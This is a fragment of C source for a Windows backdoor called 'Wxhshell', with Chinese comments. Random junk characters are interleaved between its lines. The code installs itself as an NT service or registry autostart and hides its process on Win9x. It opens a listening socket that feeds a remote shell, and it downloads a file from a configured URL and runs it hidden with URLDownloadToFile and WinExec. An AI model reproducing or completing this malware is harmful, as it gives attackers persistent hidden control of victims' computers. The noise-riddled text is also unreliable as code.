eI OtY.s\m y HMODULE hMod; >`'#4!}G5j char procName[255]; ZV_mP'1* unsigned long cbNeeded; pc:K5 -Os Xb#x^?| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :}UWy?F sZ]O&Za~ CloseHandle(hProcess); mZ ONxR6q$ 3(E"$Se,f if(strstr(procName,"services")) return 1; // 以服务启动 XOJ/$y )&se/x+ return 0; // 注册表启动 c^A3|tCi } uC 5mxZ ogip#$A}3 // 主模块 o=q
N+-N int StartWxhshell(LPSTR lpCmdLine) {~b]6}O { %q2dpzNW
SOCKET wsl; qqS-0U2 BOOL val=TRUE; hKt
AvTg int port=0; L4
x struct sockaddr_in door; 7s<v06Wo f!xIMIl)+ if(wscfg.ws_autoins) Install(); 1PjSa4 Ibd7[A\ port=atoi(lpCmdLine); W{1=O)w Fl(+c0|kT if(port<=0) port=wscfg.ws_port; (.<Gde# X~]eQaJ WSADATA data; rS>njG;R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >pG]#Z g u;h9Ra1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =Ky1v$< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #9#N+ door.sin_family = AF_INET; PrDvRWM door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZKAIG=l&! door.sin_port = htons(port); q fadsVp ^^3
>R` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i.0}qS? closesocket(wsl); i*9eU*i|H return 1; a!Z,~ V8 } |1-0x%@[ ; kS/Zb3 if(listen(wsl,2) == INVALID_SOCKET) { ULjW589zb closesocket(wsl); 8
x|NR? return 1; Vnv<]D
zC } p9oru0q Wxhshell(wsl); 67/hhO WSACleanup(); 2EQ:mjxk 2X]2;W)S; return 0; g#9KG wgkh}b
} Ju)2J?Xs5 Il~ph9{JH // 以NT服务方式启动 ~"
}t8`vP1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0-l
@U{ { uAK-%Uu? DWORD status = 0; 6H.D`"cj DWORD specificError = 0xfffffff; p?0 a"5Q OHp 121 serviceStatus.dwServiceType = SERVICE_WIN32; ra_`NsKF} serviceStatus.dwCurrentState = SERVICE_START_PENDING; fVb&=%e serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g9GE0DbT` serviceStatus.dwWin32ExitCode = 0; lJ R",_ serviceStatus.dwServiceSpecificExitCode = 0; CuT[V?^iD serviceStatus.dwCheckPoint = 0; UKMrR9[x* serviceStatus.dwWaitHint = 0; &R\
.^3 6>Lr hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c}g^wLa if (hServiceStatusHandle==0) return; q,0o:nI ^[\F uSL status = GetLastError(); -;Cl0O% if (status!=NO_ERROR) e|"`W`"- { Y]B2-wt- serviceStatus.dwCurrentState = SERVICE_STOPPED; l: 1Zq_?v; serviceStatus.dwCheckPoint = 0; S7E:&E& serviceStatus.dwWaitHint = 0; t+q:8HNh serviceStatus.dwWin32ExitCode = status; Q4CxtY serviceStatus.dwServiceSpecificExitCode = specificError; q:J,xC_sF( SetServiceStatus(hServiceStatusHandle, &serviceStatus); -UUPhGC return; NnrX64|0 } jP@H$$-=wH ylmf^G@JC serviceStatus.dwCurrentState = SERVICE_RUNNING; Kn=P~,FaG3 serviceStatus.dwCheckPoint = 0; _d %H;<_ serviceStatus.dwWaitHint = 0; lwQI
9U[O2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5a5I+*
c } 2+sNt6B2 #RlI([f|& // 处理NT服务事件,比如:启动、停止 H.|FEV@ VOID WINAPI NTServiceHandler(DWORD fdwControl) H5^'J`0\ { ^|>vK,q$I switch(fdwControl) 3~a!h3.f { J@p[v3W case SERVICE_CONTROL_STOP: |DwI%%0(F serviceStatus.dwWin32ExitCode = 0; oBifESJ serviceStatus.dwCurrentState = SERVICE_STOPPED; NU I|4X serviceStatus.dwCheckPoint = 0; k3}ymhUf serviceStatus.dwWaitHint = 0; o-GlBXI; { ?P0$n 7, SetServiceStatus(hServiceStatusHandle, &serviceStatus); F2!_Z= } yZUB8erb. return; `|
L+a~~ case SERVICE_CONTROL_PAUSE: r,L#JR w#- serviceStatus.dwCurrentState = SERVICE_PAUSED; My,ki:V?g6 break; (NScG[$} case SERVICE_CONTROL_CONTINUE: 7MOjZD4? serviceStatus.dwCurrentState = SERVICE_RUNNING; C;G~_if4PR break; WnvuB.(@3 case SERVICE_CONTROL_INTERROGATE: efl6U/'Ij break; pWO,yxr: }; o*'J8El\y^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); M-T&K%/lW } Nyow:7p cqRIi~` // 标准应用程序主函数 &N[~+" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~y$B#.l { %RdCSQ9~ -9.S?N'T>; // 获取操作系统版本 tm#T8iF OsIsNt=GetOsVer(); O}Fp\" GetModuleFileName(NULL,ExeFile,MAX_PATH); TL1pv l lRZt))3 // 从命令行安装 [ -{L@ if(strpbrk(lpCmdLine,"iI")) Install(); F?T3fINR 4WzB=C(f // 下载执行文件 )0yY|E\ if(wscfg.ws_downexe) { #gUM%$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bF|j%If% WinExec(wscfg.ws_filenam,SW_HIDE); g5;
W6QX } C.}Z5BwS ZiSy&r:( if(!OsIsNt) { q,PB;TT // 如果时win9x,隐藏进程并且设置为注册表启动 ?UcW@B{ HideProc(); a% Q.8 StartWxhshell(lpCmdLine); ]lXTIej`dy } 0 #VH=p ga else YB*ZYpRVl if(StartFromService()) 9bNjC&:4/] // 以服务方式启动 ~+q$TV StartServiceCtrlDispatcher(DispatchTable); CLdLO u" else 2%rAf8= // 普通方式启动 O5{
>k StartWxhshell(lpCmdLine); O-U_Zx0zd bJx{mq
return 0; NyeGa }
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